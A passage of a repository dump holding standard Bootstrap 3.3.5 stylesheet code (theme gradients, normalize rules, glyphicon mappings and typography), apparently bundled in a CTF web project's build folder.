.navbar .navbar-nav .open .dropdown-menu > .active > a:hover, .navbar .navbar-nav .open .dropdown-menu > .active > a:focus { color: #fff; background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%); background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2e6da4)); background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0); background-repeat: repeat-x; } } .alert { text-shadow: 0 1px 0 rgba(255, 255, 255, .2); -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .25), 0 1px 2px rgba(0, 0, 0, .05); box-shadow: inset 0 1px 0 rgba(255, 255, 255, .25), 0 1px 2px rgba(0, 0, 0, .05); } .alert-success { background-image: -webkit-linear-gradient(top, #dff0d8 0%, #c8e5bc 100%); background-image: -o-linear-gradient(top, #dff0d8 0%, #c8e5bc 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#dff0d8), to(#c8e5bc)); background-image: linear-gradient(to bottom, #dff0d8 0%, #c8e5bc 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffc8e5bc', GradientType=0); background-repeat: repeat-x; border-color: #b2dba1; } .alert-info { background-image: -webkit-linear-gradient(top, #d9edf7 0%, #b9def0 100%); background-image: -o-linear-gradient(top, #d9edf7 0%, #b9def0 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#d9edf7), to(#b9def0)); background-image: linear-gradient(to bottom, #d9edf7 0%, #b9def0 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffb9def0', GradientType=0); background-repeat: repeat-x; border-color: #9acfea; } .alert-warning { background-image: -webkit-linear-gradient(top, #fcf8e3 0%, #f8efc0 100%); background-image: -o-linear-gradient(top, #fcf8e3 0%, #f8efc0 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#fcf8e3), to(#f8efc0)); background-image: linear-gradient(to bottom, #fcf8e3 0%, #f8efc0 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fff8efc0', GradientType=0); background-repeat: repeat-x; border-color: #f5e79e; } .alert-danger { background-image: -webkit-linear-gradient(top, #f2dede 0%, #e7c3c3 100%); background-image: -o-linear-gradient(top, #f2dede 0%, #e7c3c3 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#f2dede), to(#e7c3c3)); background-image: linear-gradient(to bottom, #f2dede 0%, #e7c3c3 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffe7c3c3', GradientType=0); background-repeat: repeat-x; border-color: #dca7a7; } .progress { background-image: -webkit-linear-gradient(top, #ebebeb 0%, #f5f5f5 100%); background-image: -o-linear-gradient(top, #ebebeb 0%, #f5f5f5 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#ebebeb), to(#f5f5f5)); background-image: linear-gradient(to bottom, #ebebeb 0%, #f5f5f5 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffebebeb', endColorstr='#fff5f5f5', GradientType=0); background-repeat: repeat-x; } .progress-bar { background-image: -webkit-linear-gradient(top, #337ab7 0%, #286090 100%); background-image: -o-linear-gradient(top, #337ab7 0%, #286090 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#286090)); background-image: linear-gradient(to bottom, #337ab7 0%, #286090 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff286090', GradientType=0); background-repeat: repeat-x; } .progress-bar-success { background-image: -webkit-linear-gradient(top, #5cb85c 0%, #449d44 100%); background-image: -o-linear-gradient(top, #5cb85c 0%, #449d44 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#5cb85c), to(#449d44)); background-image: linear-gradient(to bottom, #5cb85c 0%, #449d44 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff449d44', GradientType=0); background-repeat: repeat-x; } .progress-bar-info { background-image: -webkit-linear-gradient(top, #5bc0de 0%, #31b0d5 100%); background-image: -o-linear-gradient(top, #5bc0de 0%, #31b0d5 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#5bc0de), to(#31b0d5)); background-image: linear-gradient(to bottom, #5bc0de 0%, #31b0d5 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff31b0d5', GradientType=0); background-repeat: repeat-x; } .progress-bar-warning { background-image: -webkit-linear-gradient(top, #f0ad4e 0%, #ec971f 100%); background-image: -o-linear-gradient(top, #f0ad4e 0%, #ec971f 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#f0ad4e), to(#ec971f)); background-image: linear-gradient(to bottom, #f0ad4e 0%, #ec971f 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffec971f', GradientType=0); background-repeat: repeat-x; } .progress-bar-danger { background-image: -webkit-linear-gradient(top, #d9534f 0%, #c9302c 100%); background-image: -o-linear-gradient(top, #d9534f 0%, #c9302c 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#d9534f), to(#c9302c)); background-image: linear-gradient(to bottom, #d9534f 0%, #c9302c 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc9302c', GradientType=0); background-repeat: repeat-x; } .progress-bar-striped { background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); } .list-group { border-radius: 4px; -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, .075); box-shadow: 0 1px 2px rgba(0, 0, 0, .075); } .list-group-item.active, .list-group-item.active:hover, .list-group-item.active:focus { text-shadow: 0 -1px 0 #286090; background-image: -webkit-linear-gradient(top, #337ab7 0%, #2b669a 100%); background-image: -o-linear-gradient(top, #337ab7 0%, #2b669a 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2b669a)); background-image: linear-gradient(to bottom, #337ab7 0%, #2b669a 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2b669a', GradientType=0); background-repeat: repeat-x; border-color: #2b669a; } .list-group-item.active .badge, .list-group-item.active:hover .badge, .list-group-item.active:focus .badge { text-shadow: none; } .panel { -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, .05); box-shadow: 0 1px 2px rgba(0, 0, 0, .05); } .panel-default > .panel-heading { background-image: -webkit-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%); background-image: -o-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#f5f5f5), to(#e8e8e8)); background-image: linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0); background-repeat: repeat-x; } .panel-primary > .panel-heading { background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%); background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2e6da4)); background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0); background-repeat: repeat-x; } .panel-success > .panel-heading { background-image: -webkit-linear-gradient(top, #dff0d8 0%, #d0e9c6 100%); background-image: -o-linear-gradient(top, #dff0d8 0%, #d0e9c6 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#dff0d8), to(#d0e9c6)); background-image: linear-gradient(to bottom, #dff0d8 0%, #d0e9c6 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffd0e9c6', GradientType=0); background-repeat: repeat-x; } .panel-info > .panel-heading { background-image: -webkit-linear-gradient(top, #d9edf7 0%, #c4e3f3 100%); background-image: -o-linear-gradient(top, #d9edf7 0%, #c4e3f3 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#d9edf7), to(#c4e3f3)); background-image: linear-gradient(to bottom, #d9edf7 0%, #c4e3f3 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffc4e3f3', GradientType=0); background-repeat: repeat-x; } .panel-warning > .panel-heading { background-image: -webkit-linear-gradient(top, #fcf8e3 0%, #faf2cc 100%); background-image: -o-linear-gradient(top, #fcf8e3 0%, #faf2cc 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#fcf8e3), to(#faf2cc)); background-image: linear-gradient(to bottom, #fcf8e3 0%, #faf2cc 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fffaf2cc', GradientType=0); background-repeat: repeat-x; } .panel-danger > .panel-heading { background-image: -webkit-linear-gradient(top, #f2dede 0%, #ebcccc 100%); background-image: -o-linear-gradient(top, #f2dede 0%, #ebcccc 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#f2dede), to(#ebcccc)); background-image: linear-gradient(to bottom, #f2dede 0%, #ebcccc 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffebcccc', GradientType=0); background-repeat: repeat-x; } .well { background-image: -webkit-linear-gradient(top, #e8e8e8 0%, #f5f5f5 100%); background-image: -o-linear-gradient(top, #e8e8e8 0%, #f5f5f5 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#e8e8e8), to(#f5f5f5)); background-image: linear-gradient(to bottom, #e8e8e8 0%, #f5f5f5 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe8e8e8', endColorstr='#fff5f5f5', GradientType=0); background-repeat: repeat-x; border-color: #dcdcdc; -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, .05), 0 1px 0 rgba(255, 255, 255, .1); box-shadow: inset 0 1px 3px rgba(0, 0, 0, .05), 0 1px 0 rgba(255, 255, 255, .1); } /*# sourceMappingURL=bootstrap-theme.css.map */ ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/bootstrap3.3.5/css/bootstrap.css ================================================ /*! * Bootstrap v3.3.5 (http://getbootstrap.com) * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */ /*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */ html { font-family: sans-serif; -webkit-text-size-adjust: 100%; -ms-text-size-adjust: 100%; } body { margin: 0; } article, aside, details, figcaption, figure, footer, header, hgroup, main, menu, nav, section, summary { display: block; } audio, canvas, progress, video { display: inline-block; vertical-align: baseline; } audio:not([controls]) { display: none; height: 0; } [hidden], template { display: none; } a { background-color: transparent; } a:active, a:hover { outline: 0; } abbr[title] { border-bottom: 1px dotted; } b, strong { font-weight: bold; } dfn { font-style: italic; } h1 { margin: .67em 0; font-size: 2em; } mark { color: #000; background: #ff0; } small { font-size: 80%; } sub, sup { position: relative; font-size: 75%; line-height: 0; vertical-align: baseline; } sup { top: -.5em; } sub { bottom: -.25em; } img { border: 0; } svg:not(:root) { overflow: hidden; } figure { margin: 1em 40px; } hr { height: 0; -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; } pre { overflow: auto; } code, kbd, pre, samp { font-family: monospace, monospace; font-size: 1em; } button, input, optgroup, select, textarea { margin: 0; font: inherit; color: inherit; } button { overflow: visible; } button, select { text-transform: none; } button, html input[type="button"], input[type="reset"], input[type="submit"] { -webkit-appearance: button; cursor: pointer; } button[disabled], html input[disabled] { cursor: default; } button::-moz-focus-inner, input::-moz-focus-inner { padding: 0; border: 0; } input { line-height: normal; } input[type="checkbox"], input[type="radio"] { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; padding: 0; } input[type="number"]::-webkit-inner-spin-button, input[type="number"]::-webkit-outer-spin-button { height: auto; } input[type="search"] { -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; -webkit-appearance: textfield; } input[type="search"]::-webkit-search-cancel-button, input[type="search"]::-webkit-search-decoration { -webkit-appearance: none; } fieldset { padding: .35em .625em .75em; margin: 0 2px; border: 1px solid #c0c0c0; } legend { padding: 0; border: 0; } textarea { overflow: auto; } optgroup { font-weight: bold; } table { border-spacing: 0; border-collapse: collapse; } td, th { padding: 0; } /*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */ @media print { *, *:before, *:after { color: #000 !important; text-shadow: none !important; background: transparent !important; -webkit-box-shadow: none !important; box-shadow: none !important; } a, a:visited { text-decoration: underline; } a[href]:after { content: " (" attr(href) ")"; } abbr[title]:after { content: " (" attr(title) ")"; } a[href^="#"]:after, a[href^="javascript:"]:after { content: ""; } pre, blockquote { border: 1px solid #999; page-break-inside: avoid; } thead { display: table-header-group; } tr, img { page-break-inside: avoid; } img { max-width: 100% !important; } p, h2, h3 { orphans: 3; widows: 3; } h2, h3 { page-break-after: avoid; } .navbar { display: none; } .btn > .caret, .dropup > .btn > .caret { border-top-color: #000 !important; } .label { border: 1px solid #000; } .table { border-collapse: collapse !important; } .table td, .table th { background-color: #fff !important; } .table-bordered th, .table-bordered td { border: 1px solid #ddd !important; } } @font-face { font-family: 'Glyphicons Halflings'; src: url('../fonts/glyphicons-halflings-regular.eot'); src: url('../fonts/glyphicons-halflings-regular.eot?#iefix') format('embedded-opentype'), url('../fonts/glyphicons-halflings-regular.woff2') format('woff2'), url('../fonts/glyphicons-halflings-regular.woff') format('woff'), url('../fonts/glyphicons-halflings-regular.ttf') format('truetype'), url('../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular') format('svg'); } .glyphicon { position: relative; top: 1px; display: inline-block; font-family: 'Glyphicons Halflings'; font-style: normal; font-weight: normal; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .glyphicon-asterisk:before { content: "\2a"; } .glyphicon-plus:before { content: "\2b"; } .glyphicon-euro:before, .glyphicon-eur:before { content: "\20ac"; } .glyphicon-minus:before { content: "\2212"; } .glyphicon-cloud:before { content: "\2601"; } .glyphicon-envelope:before { content: "\2709"; } .glyphicon-pencil:before { content: "\270f"; } .glyphicon-glass:before { content: "\e001"; } .glyphicon-music:before { content: "\e002"; } .glyphicon-search:before { content: "\e003"; } .glyphicon-heart:before { content: "\e005"; } .glyphicon-star:before { content: "\e006"; } .glyphicon-star-empty:before { content: "\e007"; } .glyphicon-user:before { content: "\e008"; } .glyphicon-film:before { content: "\e009"; } .glyphicon-th-large:before { content: "\e010"; } .glyphicon-th:before { content: "\e011"; } .glyphicon-th-list:before { content: "\e012"; } .glyphicon-ok:before { content: "\e013"; } .glyphicon-remove:before { content: "\e014"; } .glyphicon-zoom-in:before { content: "\e015"; } .glyphicon-zoom-out:before { content: "\e016"; } .glyphicon-off:before { content: "\e017"; } .glyphicon-signal:before { content: "\e018"; } .glyphicon-cog:before { content: "\e019"; } .glyphicon-trash:before { content: "\e020"; } .glyphicon-home:before { content: "\e021"; } .glyphicon-file:before { content: "\e022"; } .glyphicon-time:before { content: "\e023"; } .glyphicon-road:before { content: "\e024"; } .glyphicon-download-alt:before { content: "\e025"; } .glyphicon-download:before { content: "\e026"; } .glyphicon-upload:before { content: "\e027"; } .glyphicon-inbox:before { content: "\e028"; } .glyphicon-play-circle:before { content: "\e029"; } .glyphicon-repeat:before { content: "\e030"; } .glyphicon-refresh:before { content: "\e031"; } .glyphicon-list-alt:before { content: "\e032"; } .glyphicon-lock:before { content: "\e033"; } .glyphicon-flag:before { content: "\e034"; } .glyphicon-headphones:before { content: "\e035"; } .glyphicon-volume-off:before { content: "\e036"; } .glyphicon-volume-down:before { content: "\e037"; } .glyphicon-volume-up:before { content: "\e038"; } .glyphicon-qrcode:before { content: "\e039"; } .glyphicon-barcode:before { content: "\e040"; } .glyphicon-tag:before { content: "\e041"; } .glyphicon-tags:before { content: "\e042"; } .glyphicon-book:before { content: "\e043"; } .glyphicon-bookmark:before { content: "\e044"; } .glyphicon-print:before { content: "\e045"; } .glyphicon-camera:before { content: "\e046"; } .glyphicon-font:before { content: "\e047"; } .glyphicon-bold:before { content: "\e048"; } .glyphicon-italic:before { content: "\e049"; } .glyphicon-text-height:before { content: "\e050"; } .glyphicon-text-width:before { content: "\e051"; } .glyphicon-align-left:before { content: "\e052"; } .glyphicon-align-center:before { content: "\e053"; } .glyphicon-align-right:before { content: "\e054"; } .glyphicon-align-justify:before { content: "\e055"; } .glyphicon-list:before { content: "\e056"; } .glyphicon-indent-left:before { content: "\e057"; } .glyphicon-indent-right:before { content: "\e058"; } .glyphicon-facetime-video:before { content: "\e059"; } .glyphicon-picture:before { content: "\e060"; } .glyphicon-map-marker:before { content: "\e062"; } .glyphicon-adjust:before { content: "\e063"; } .glyphicon-tint:before { content: "\e064"; } .glyphicon-edit:before { content: "\e065"; } .glyphicon-share:before { content: "\e066"; } .glyphicon-check:before { content: "\e067"; } .glyphicon-move:before { content: "\e068"; } .glyphicon-step-backward:before { content: "\e069"; } .glyphicon-fast-backward:before { content: "\e070"; } .glyphicon-backward:before { content: "\e071"; } .glyphicon-play:before { content: "\e072"; } .glyphicon-pause:before { content: "\e073"; } .glyphicon-stop:before { content: "\e074"; } .glyphicon-forward:before { content: "\e075"; } .glyphicon-fast-forward:before { content: "\e076"; } .glyphicon-step-forward:before { content: "\e077"; } .glyphicon-eject:before { content: "\e078"; } .glyphicon-chevron-left:before { content: "\e079"; } .glyphicon-chevron-right:before { content: "\e080"; } .glyphicon-plus-sign:before { content: "\e081"; } .glyphicon-minus-sign:before { content: "\e082"; } .glyphicon-remove-sign:before { content: "\e083"; } .glyphicon-ok-sign:before { content: "\e084"; } .glyphicon-question-sign:before { content: "\e085"; } .glyphicon-info-sign:before { content: "\e086"; } .glyphicon-screenshot:before { content: "\e087"; } .glyphicon-remove-circle:before { content: "\e088"; } .glyphicon-ok-circle:before { content: "\e089"; } .glyphicon-ban-circle:before { content: "\e090"; } .glyphicon-arrow-left:before { content: "\e091"; } .glyphicon-arrow-right:before { content: "\e092"; } .glyphicon-arrow-up:before { content: "\e093"; } .glyphicon-arrow-down:before { content: "\e094"; } .glyphicon-share-alt:before { content: "\e095"; } .glyphicon-resize-full:before { content: "\e096"; } .glyphicon-resize-small:before { content: "\e097"; } .glyphicon-exclamation-sign:before { content: "\e101"; } .glyphicon-gift:before { content: "\e102"; } .glyphicon-leaf:before { content: "\e103"; } .glyphicon-fire:before { content: "\e104"; } .glyphicon-eye-open:before { content: "\e105"; } .glyphicon-eye-close:before { content: "\e106"; } .glyphicon-warning-sign:before { content: "\e107"; } .glyphicon-plane:before { content: "\e108"; } .glyphicon-calendar:before { content: "\e109"; } .glyphicon-random:before { content: "\e110"; } .glyphicon-comment:before { content: "\e111"; } .glyphicon-magnet:before { content: "\e112"; } .glyphicon-chevron-up:before { content: "\e113"; } .glyphicon-chevron-down:before { content: "\e114"; } .glyphicon-retweet:before { content: "\e115"; } .glyphicon-shopping-cart:before { content: "\e116"; } .glyphicon-folder-close:before { content: "\e117"; } .glyphicon-folder-open:before { content: "\e118"; } .glyphicon-resize-vertical:before { content: "\e119"; } .glyphicon-resize-horizontal:before { content: "\e120"; } .glyphicon-hdd:before { content: "\e121"; } .glyphicon-bullhorn:before { content: "\e122"; } .glyphicon-bell:before { content: "\e123"; } .glyphicon-certificate:before { content: "\e124"; } .glyphicon-thumbs-up:before { content: "\e125"; } .glyphicon-thumbs-down:before { content: "\e126"; } .glyphicon-hand-right:before { content: "\e127"; } .glyphicon-hand-left:before { content: "\e128"; } .glyphicon-hand-up:before { content: "\e129"; } .glyphicon-hand-down:before { content: "\e130"; } .glyphicon-circle-arrow-right:before { content: "\e131"; } .glyphicon-circle-arrow-left:before { content: "\e132"; } .glyphicon-circle-arrow-up:before { content: "\e133"; } .glyphicon-circle-arrow-down:before { content: "\e134"; } .glyphicon-globe:before { content: "\e135"; } .glyphicon-wrench:before { content: "\e136"; } .glyphicon-tasks:before { content: "\e137"; } .glyphicon-filter:before { content: "\e138"; } .glyphicon-briefcase:before { content: "\e139"; } .glyphicon-fullscreen:before { content: "\e140"; } .glyphicon-dashboard:before { content: "\e141"; } .glyphicon-paperclip:before { content: "\e142"; } .glyphicon-heart-empty:before { content: "\e143"; } .glyphicon-link:before { content: "\e144"; } .glyphicon-phone:before { content: "\e145"; } .glyphicon-pushpin:before { content: "\e146"; } .glyphicon-usd:before { content: "\e148"; } .glyphicon-gbp:before { content: "\e149"; } .glyphicon-sort:before { content: "\e150"; } .glyphicon-sort-by-alphabet:before { content: "\e151"; } .glyphicon-sort-by-alphabet-alt:before { content: "\e152"; } .glyphicon-sort-by-order:before { content: "\e153"; } .glyphicon-sort-by-order-alt:before { content: "\e154"; } .glyphicon-sort-by-attributes:before { content: "\e155"; } .glyphicon-sort-by-attributes-alt:before { content: "\e156"; } .glyphicon-unchecked:before { content: "\e157"; } .glyphicon-expand:before { content: "\e158"; } .glyphicon-collapse-down:before { content: "\e159"; } .glyphicon-collapse-up:before { content: "\e160"; } .glyphicon-log-in:before { content: "\e161"; } .glyphicon-flash:before { content: "\e162"; } .glyphicon-log-out:before { content: "\e163"; } .glyphicon-new-window:before { content: "\e164"; } .glyphicon-record:before { content: "\e165"; } .glyphicon-save:before { content: "\e166"; } .glyphicon-open:before { content: "\e167"; } .glyphicon-saved:before { content: "\e168"; } .glyphicon-import:before { content: "\e169"; } .glyphicon-export:before { content: "\e170"; } .glyphicon-send:before { content: "\e171"; } .glyphicon-floppy-disk:before { content: "\e172"; } .glyphicon-floppy-saved:before { content: "\e173"; } .glyphicon-floppy-remove:before { content: "\e174"; } .glyphicon-floppy-save:before { content: "\e175"; } .glyphicon-floppy-open:before { content: "\e176"; } .glyphicon-credit-card:before { content: "\e177"; } .glyphicon-transfer:before { content: "\e178"; } .glyphicon-cutlery:before { content: "\e179"; } .glyphicon-header:before { content: "\e180"; } .glyphicon-compressed:before { content: "\e181"; } .glyphicon-earphone:before { content: "\e182"; } .glyphicon-phone-alt:before { content: "\e183"; } .glyphicon-tower:before { content: "\e184"; } .glyphicon-stats:before { content: "\e185"; } .glyphicon-sd-video:before { content: "\e186"; } .glyphicon-hd-video:before { content: "\e187"; } .glyphicon-subtitles:before { content: "\e188"; } .glyphicon-sound-stereo:before { content: "\e189"; } .glyphicon-sound-dolby:before { content: "\e190"; } .glyphicon-sound-5-1:before { content: "\e191"; } .glyphicon-sound-6-1:before { content: "\e192"; } .glyphicon-sound-7-1:before { content: "\e193"; } .glyphicon-copyright-mark:before { content: "\e194"; } .glyphicon-registration-mark:before { content: "\e195"; } .glyphicon-cloud-download:before { content: "\e197"; } .glyphicon-cloud-upload:before { content: "\e198"; } .glyphicon-tree-conifer:before { content: "\e199"; } .glyphicon-tree-deciduous:before { content: "\e200"; } .glyphicon-cd:before { content: "\e201"; } .glyphicon-save-file:before { content: "\e202"; } .glyphicon-open-file:before { content: "\e203"; } .glyphicon-level-up:before { content: "\e204"; } .glyphicon-copy:before { content: "\e205"; } .glyphicon-paste:before { content: "\e206"; } .glyphicon-alert:before { content: "\e209"; } .glyphicon-equalizer:before { content: "\e210"; } .glyphicon-king:before { content: "\e211"; } .glyphicon-queen:before { content: "\e212"; } .glyphicon-pawn:before { content: "\e213"; } .glyphicon-bishop:before { content: "\e214"; } .glyphicon-knight:before { content: "\e215"; } .glyphicon-baby-formula:before { content: "\e216"; } .glyphicon-tent:before { content: "\26fa"; } .glyphicon-blackboard:before { content: "\e218"; } .glyphicon-bed:before { content: "\e219"; } .glyphicon-apple:before { content: "\f8ff"; } .glyphicon-erase:before { content: "\e221"; } .glyphicon-hourglass:before { content: "\231b"; } .glyphicon-lamp:before { content: "\e223"; } .glyphicon-duplicate:before { content: "\e224"; } .glyphicon-piggy-bank:before { content: "\e225"; } .glyphicon-scissors:before { content: "\e226"; } .glyphicon-bitcoin:before { content: "\e227"; } .glyphicon-btc:before { content: "\e227"; } .glyphicon-xbt:before { content: "\e227"; } .glyphicon-yen:before { content: "\00a5"; } .glyphicon-jpy:before { content: "\00a5"; } .glyphicon-ruble:before { content: "\20bd"; } .glyphicon-rub:before { content: "\20bd"; } .glyphicon-scale:before { content: "\e230"; } .glyphicon-ice-lolly:before { content: "\e231"; } .glyphicon-ice-lolly-tasted:before { content: "\e232"; } .glyphicon-education:before { content: "\e233"; } .glyphicon-option-horizontal:before { content: "\e234"; } .glyphicon-option-vertical:before { content: "\e235"; } .glyphicon-menu-hamburger:before { content: "\e236"; } .glyphicon-modal-window:before { content: "\e237"; } .glyphicon-oil:before { content: "\e238"; } .glyphicon-grain:before { content: "\e239"; } .glyphicon-sunglasses:before { content: "\e240"; } .glyphicon-text-size:before { content: "\e241"; } .glyphicon-text-color:before { content: "\e242"; } .glyphicon-text-background:before { content: "\e243"; } .glyphicon-object-align-top:before { content: "\e244"; } .glyphicon-object-align-bottom:before { content: "\e245"; } .glyphicon-object-align-horizontal:before { content: "\e246"; } .glyphicon-object-align-left:before { content: "\e247"; } .glyphicon-object-align-vertical:before { content: "\e248"; } .glyphicon-object-align-right:before { content: "\e249"; } .glyphicon-triangle-right:before { content: "\e250"; } .glyphicon-triangle-left:before { content: "\e251"; } .glyphicon-triangle-bottom:before { content: "\e252"; } .glyphicon-triangle-top:before { content: "\e253"; } .glyphicon-console:before { content: "\e254"; } .glyphicon-superscript:before { content: "\e255"; } .glyphicon-subscript:before { content: "\e256"; } .glyphicon-menu-left:before { content: "\e257"; } .glyphicon-menu-right:before { content: "\e258"; } .glyphicon-menu-down:before { content: "\e259"; } .glyphicon-menu-up:before { content: "\e260"; } * { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } *:before, *:after { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } html { font-size: 10px; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); } body { font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; line-height: 1.42857143; color: #333; background-color: #fff; } input, button, select, textarea { font-family: inherit; font-size: inherit; line-height: inherit; } a { color: #337ab7; text-decoration: none; } a:hover, a:focus { color: #23527c; text-decoration: underline; } a:focus { outline: thin dotted; outline: 5px auto -webkit-focus-ring-color; outline-offset: -2px; } figure { margin: 0; } img { vertical-align: middle; } .img-responsive, .thumbnail > img, .thumbnail a > img, .carousel-inner > .item > img, .carousel-inner > .item > a > img { display: block; max-width: 100%; height: auto; } .img-rounded { border-radius: 6px; } .img-thumbnail { display: inline-block; max-width: 100%; height: auto; padding: 4px; line-height: 1.42857143; background-color: #fff; border: 1px solid #ddd; border-radius: 4px; -webkit-transition: all .2s ease-in-out; -o-transition: all .2s ease-in-out; transition: all .2s ease-in-out; } .img-circle { border-radius: 50%; } hr { margin-top: 20px; margin-bottom: 20px; border: 0; border-top: 1px solid #eee; } .sr-only { position: absolute; width: 1px; height: 1px; padding: 0; margin: -1px; overflow: hidden; clip: rect(0, 0, 0, 0); border: 0; } .sr-only-focusable:active, .sr-only-focusable:focus { position: static; width: auto; height: auto; margin: 0; overflow: visible; clip: auto; } [role="button"] { cursor: pointer; } h1, h2, h3, h4, h5, h6, .h1, .h2, .h3, .h4, .h5, .h6 { font-family: inherit; font-weight: 500; line-height: 1.1; color: inherit; } h1 small, h2 small, h3 small, h4 small, h5 small, h6 small, .h1 small, .h2 small, .h3 small, .h4 small, .h5 small, .h6 small, h1 .small, h2 .small, h3 .small, h4 .small, h5 .small, h6 .small, .h1 .small, .h2 .small, .h3 .small, .h4 .small, .h5 .small, .h6 .small { font-weight: normal; line-height: 1; color: #777; } h1, .h1, h2, .h2, h3, .h3 { margin-top: 20px; margin-bottom: 10px; } h1 small, .h1 small, h2 small, .h2 small, h3 small, .h3 small, h1 .small, .h1 .small, h2 .small, .h2 .small, h3 .small, .h3 .small { font-size: 65%; } h4, .h4, h5, .h5, h6, .h6 { margin-top: 10px; margin-bottom: 10px; } h4 small, .h4 small, h5 small, .h5 small, h6 small, .h6 small, h4 .small, .h4 .small, h5 .small, .h5 .small, h6 .small, .h6 .small { font-size: 75%; } h1, .h1 { font-size: 36px; } h2, .h2 { font-size: 30px; } h3, .h3 { font-size: 24px; } h4, .h4 { font-size: 18px; } h5, .h5 { font-size: 14px; } h6, .h6 { font-size: 12px; } p { margin: 0 0 10px; } .lead { margin-bottom: 20px; font-size: 16px; font-weight: 300; line-height: 1.4; } @media (min-width: 768px) { .lead { font-size: 21px; } } small, .small { font-size: 85%; } mark, .mark { padding: .2em; background-color: #fcf8e3; } .text-left { text-align: left; } .text-right { text-align: right; } .text-center { text-align: center; } .text-justify { text-align: justify; } .text-nowrap { white-space: nowrap; } .text-lowercase { text-transform: lowercase; } .text-uppercase { text-transform: uppercase; } .text-capitalize { text-transform: capitalize; } .text-muted { color: #777; } .text-primary { color: #337ab7; } a.text-primary:hover, a.text-primary:focus { color: #286090; } .text-success { color: #3c763d; } a.text-success:hover, a.text-success:focus { color: 